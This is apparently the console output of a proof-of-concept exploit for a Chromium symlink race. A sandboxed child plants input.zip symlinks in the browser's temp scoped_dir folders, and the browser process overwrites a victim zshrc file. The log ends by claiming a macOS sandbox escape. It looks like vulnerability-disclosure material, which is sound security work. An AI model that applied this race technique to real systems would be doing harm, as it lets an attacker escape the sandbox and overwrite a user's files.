[*] target file: /tmp/poc-shared-tmp.9iJb0t/victim_zshrc
[*] original sha256: a350083b9ad1bdadedcbe81f6664b0fe4022a7e6ec634319674e24c70c687c6e  /tmp/poc-shared-tmp.9iJb0t/victim_zshrc
[*] building race tool
[*] starting symlink race (simulated compromised sandboxed child)
[*] launching browser with TMPDIR=/tmp/poc-shared-tmp.9iJb0t
[*] waiting for DevTools endpoint
[*] opening chrome://updater (user navigates to internals page)

============================================================
[*] race tool log (last 20 lines):
[race] lost #1: symlink(/tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.L8aBXO/input.zip): No such file or directory
[race] lost #2: symlink(/tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.enOVVj/input.zip): File exists
[race] lost #3: symlink(/tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.mVmP9w/input.zip): File exists
[race] lost #4: symlink(/tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.jT92W6/input.zip): File exists
[race] lost #5: symlink(/tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.lFsTb4/input.zip): File exists
[race] WIN  #1: planted /tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.bWUw11/input.zip -> /tmp/poc-shared-tmp.9iJb0t/victim_zshrc (attempts=9)
[race] WIN  #2: planted /tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.aEIetm/input.zip -> /tmp/poc-shared-tmp.9iJb0t/victim_zshrc (attempts=10)
[race] WIN  #3: planted /tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.x9P3Bz/input.zip -> /tmp/poc-shared-tmp.9iJb0t/victim_zshrc (attempts=11)
[race] WIN  #4: planted /tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.mo3tMM/input.zip -> /tmp/poc-shared-tmp.9iJb0t/victim_zshrc (attempts=12)
[race] WIN  #5: planted /tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.HTjphp/input.zip -> /tmp/poc-shared-tmp.9iJb0t/victim_zshrc (attempts=14)
[race] WIN  #6: planted /tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.QdNDB4/input.zip -> /tmp/poc-shared-tmp.9iJb0t/victim_zshrc (attempts=17)
[race] WIN  #7: planted /tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.xTxoER/input.zip -> /tmp/poc-shared-tmp.9iJb0t/victim_zshrc (attempts=18)
[race] WIN  #8: planted /tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.qm8XsI/input.zip -> /tmp/poc-shared-tmp.9iJb0t/victim_zshrc (attempts=19)
[race] WIN  #9: planted /tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.NBzt0W/input.zip -> /tmp/poc-shared-tmp.9iJb0t/victim_zshrc (attempts=20)
[race] WIN  #10: planted /tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.P3voMY/input.zip -> /tmp/poc-shared-tmp.9iJb0t/victim_zshrc (attempts=23)
[race] WIN  #11: planted /tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.fVlQCS/input.zip -> /tmp/poc-shared-tmp.9iJb0t/victim_zshrc (attempts=24)
[race] WIN  #12: planted /tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.IPY7UL/input.zip -> /tmp/poc-shared-tmp.9iJb0t/victim_zshrc (attempts=25)
[race] WIN  #13: planted /tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.WzYroo/input.zip -> /tmp/poc-shared-tmp.9iJb0t/victim_zshrc (attempts=26)
[race] WIN  #14: planted /tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.06CEgY/input.zip -> /tmp/poc-shared-tmp.9iJb0t/victim_zshrc (attempts=29)
[race] WIN  #15: planted /tmp/poc-shared-tmp.9iJb0t/org.chromium.Chromium.scoped_dir.kFRRHE/input.zip -> /tmp/poc-shared-tmp.9iJb0t/victim_zshrc (attempts=30)
============================================================
[*] target file (/tmp/poc-shared-tmp.9iJb0t/victim_zshrc) final contents:
------------------------------------------------------------
#!/bin/sh
# POC_SYMLINK_OVERWRITE_PAYLOAD
echo browser-process-wrote-this
------------------------------------------------------------
[*] final sha256: fbf6b94d1351edc7dab7f0391437ea2ac36cb2846d317be6b3f1119471f78b51  /tmp/poc-shared-tmp.9iJb0t/victim_zshrc

[+] SUCCESS: browser process followed planted input.zip symlink
[+]          and overwrote the target with the user-supplied ZIP bytes.
[+]          (On macOS this is a sandbox escape: the symlink-planting
[+]           loop runs inside the network/GPU/ODM seatbelt sandbox,
[+]           which has file-write* on _CS_DARWIN_USER_TEMP_DIR.)